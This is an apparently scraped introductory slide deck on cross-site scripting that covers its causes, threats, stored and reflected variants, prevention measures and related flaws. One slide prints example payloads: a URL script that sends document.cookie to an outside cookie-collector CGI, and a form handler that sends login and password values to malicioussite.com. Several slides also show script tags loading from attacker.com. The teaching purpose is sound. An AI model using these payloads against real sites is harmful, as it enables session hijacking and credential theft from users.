SlideShare verwendet Cookies, um die Funktionalität und Leistungsfähigkeit der Webseite zu verbessern und Ihnen relevante Werbung bereitzustellen. Wenn Sie diese Webseite weiter besuchen, erklären Sie sich mit der Verwendung von Cookies auf dieser Seite einverstanden. Lesen Sie bitte unsere Nutzervereinbarung und die Datenschutzrichtlinie.
SlideShare verwendet Cookies, um die Funktionalität und Leistungsfähigkeit der Webseite zu verbessern und Ihnen relevante Werbung bereitzustellen. Wenn Sie diese Webseite weiter besuchen, erklären Sie sich mit der Verwendung von Cookies auf dieser Seite einverstanden. Lesen Sie bitte unsere unsere Datenschutzrichtlinie und die Nutzervereinbarung.
Internet a great source for every work…<br /> In which for every work there is a different site..<br /> Earlier these sites were static… i.e. just the paragraphs and text files….which was a huge task to read ….<br /> But today the Websites are more complex than ever, containing a lot of graphic anddynamic content making the experience for the user more enjoyable. <br />1<br />
Dynamic content <br /> >> Images<br />>> Music<br />>> Different Styled Text<br />>> Advertisements<br /> And many more ……….<br />2<br />
WELL NOW LET US CONCENTRATE ON THE USEFUL MATTER…………<br />3<br />
It is a type of computer security vulnerability found in web applications which is done by injection or introduction of untrusted content into a dynamic web page, about which neither the Web sites nor the client has enough information to recognize it….. & this injected code is called XSS Hole…<br />5<br />
Causes ?????<br />The DYNAMIC content……..<br /> Its overview is attractive for the users but like worms it is eating the user at the back….<br />Lack of CODE practicing……<br /> This cause is based on the fact that the developer who inserts the script has not a lot of experience and is in deficient to provide proper security.<br />6<br />
Threats ……………<br />Taking over the user session before the user's session cookie expires.<br />Connect users to a malicious server of the attacker's choice.<br />Convince a user to access a URL supplied by the attacker could cause script or HTML of the attacker's choice to be executed in the user's browser. Using this technique, an attacker can take actions with the privileges of the user who accessed the URL, such as issuing queries on the underlying SQL databases and viewing the results .<br /> (GMAIL example)<br />7<br />
How it is performed???<br />Cross-site scripting holes allow attackers to bypass client-side security mechanisms imposed on web content by modern browsers. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access privileges to sensitive page content, session cookies(information maintained by the browser on behalf of the user). <br />8<br />
9<br /><ul><li>XSS is an application level attack which</li></ul>involves 3 parties.<br /><ul><li>We can load external script with a <script src=xxx> tag.
Script content can be loaded from anywhere (RPC/Remote scripting is common).
Most attacks are only focused on collecting cookies.
Attacker does not know actual responses to client.
11<br />Non-Persistent <br /><ul><li> It is the most common type. These holes show up when </li></ul>the data is provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to generate a page of results for that user, without properly sanitizing the response.<br /><ul><li> Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection.</li></li></ul><li>Persistent….<br />The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read<br />12<br />
In this scenario, the attacker sends a specially crafted e-mail message to a victim containing malicious link scripting like:<A HREF=http://legitimateSite.com/registration.cgi?clientprofile=<SCRIPT>malicious code</SCRIPT>>Click here</A>When a user clicks on this link, the URL is sent to site name including the malicious code. If the legitimate server sends a page back to the user including the value of clientprofile, the malicious code will be executed on the client Web browser <br />15<br />
Sending an Unauthorized Request ...<br />18<br />
In this scenario, the user unknowingly executes scripts written by an attacker when they follow a malicious link in a mail message. Because the malicious scripts are executed in a context that appears to have originated from the legitimate server, the attacker has full access to the document retrieved and may send data contained in the page back to their site. If the embedded script code has additional interactions capability with the legitimate server without alerting the victim, the attacker could develop and exploit that posted data to a different page on the legitimate Web server <br />19<br />
Script can read all HTML content/tags in other window<br />Script can set/delete tags/content in other window. We can read and set form values, then run a submit()<br />Script can set vars and call functions in other window<br />Document.write can allow script to create new tags/content in other window<br />This means that a script can read all HTML contents of a document, change the appearance of the document, modify exiting tags/and values, modify and submit forms. We have full control of the other window as long it’s in same document.domain<br />If we can forward cookies, then we can also forward other jscript accessible content to an attacker. We can forward page contents, form values (including hidden…) jscript vars/state, jscript errors.<br />21<br />
Some FACTS about the XSS attacks………<br />22<br />
By SURVEY………<br />1st Gen XSS was against public sites and ran against everyone that visited site <br />2nd Gen XSS focused on sites that allow self-reflection XSS<br />23<br />
24<br /><ul><li> Cross-site scripting attacks are a special case of code injection.
Cross-site scripting carried out on websites were roughly 80% of all security vulnerabilities documented by Symantec as of 2007.
Their impact may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data.</li></li></ul><li>Dynamic XSS with 2way comms<br />XSS Vulnerable Server<br />Victim Browser<br />XSS against site<br />Script commands run here<br /><script src=“attacker.com”><br />IFRAME<br />Other documents on site loaded into here<br />New jscript….<br />Attacker System<br /><script src=“attacker.com/innnerHTML_of_IFRAME”><br />
Some prominent sites that have been affected in the past are…… <br />The search engine Google<br /> The email services of Google and Yahoo!<br /> The social networking sites Facebook, MySpace, and Orkut. <br />The developers of MediaWiki have fixed at least 26 XSS holes in order to protect Wikipedia and other wiki users.<br />Researchers have claimed that as many as 68% of websites are likely open to XSS attacks.<br />26<br />
By seeing all this the question that arises is…….<br />Then how can we preventit ???????<br />27<br />
Yes , some methods are there for prevention n those are :<br />>> Filtering<br />>> Cookie Security<br />>> Disabling Scripts<br />>> Encryption<br />28<br />
Cookie Security<br /> Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies. To mitigate this particular threat , many web applications tie session cookies to the IP address of the user who originally logged in, and only permit that IP to use that cookie.<br />30<br />
Disabling Scripts…<br />Some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis..<br />Functionality that blocks all scripting and external inclusions by default and then allows the user to enable it on a per-domain basis is more effective…<br />Prblms wid this…<br /><ul><li> Substantial reduction in functionality and responsiveness.
Many sites do not work without client-side scripting, forcing users to disable protection for that site and opening their systems to the threat</li></ul>31<br />
32<br />The easiest way to protect yourself as a user is to only follow links from the main website you wish to view and use its search engine to find the content.<br />
For explaining Purpose<br />Remember the syntax….<br />33<br />
Types of information leakage<br />Client can reveal cookies to 3rd party (session state, order info, etc)<br />http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script><br />Client can reveal posted form items to 3rd party (userID/passwd, etc)<br /><form> action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src='http://www.malicioussite.com/'+document.forms(1).login.value'+':'+ document.forms(1).password.value;" </form><br />Client can be tricked into accessing/posting spoofed info to trusted server<br />www.trustedserver.com/xss.asp?name = <iframe src=http://www.trustedserver.com/auth_area/orderupdate?items=4000></iframe> <br />35<br />
36<br /> YOU CAN FIND EXAMPLES OF XSS ON THESE WEBSITES <br />http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt<br />http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt<br />http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt<br />
37<br />Related vulnerabilities<br />Several classes of vulnerabilities or attack techniques are related to XSS: cross-zone scripting exploits "zone" concepts in certain browsers and usually executes code with a greater privilege. HTTP header injection can be used to create cross-site scripting conditions due to escaping problems on HTTP protocol level (in addition to enabling attacks such as HTTP response splitting).<br />Cross-site request forgery (CSRF/XSRF) is almost the opposite of XSS, in that rather than exploiting the user's trust in a site, the attacker (and his malicious page) exploits the site's trust in the client software, submitting requests that the site believes represent conscious and intentional actions of authenticated users.<br />Lastly, SQL injection exploits a vulnerability in the database layer of an application. When user input is incorrectly filtered any SQL statements can be executed by the application.<br />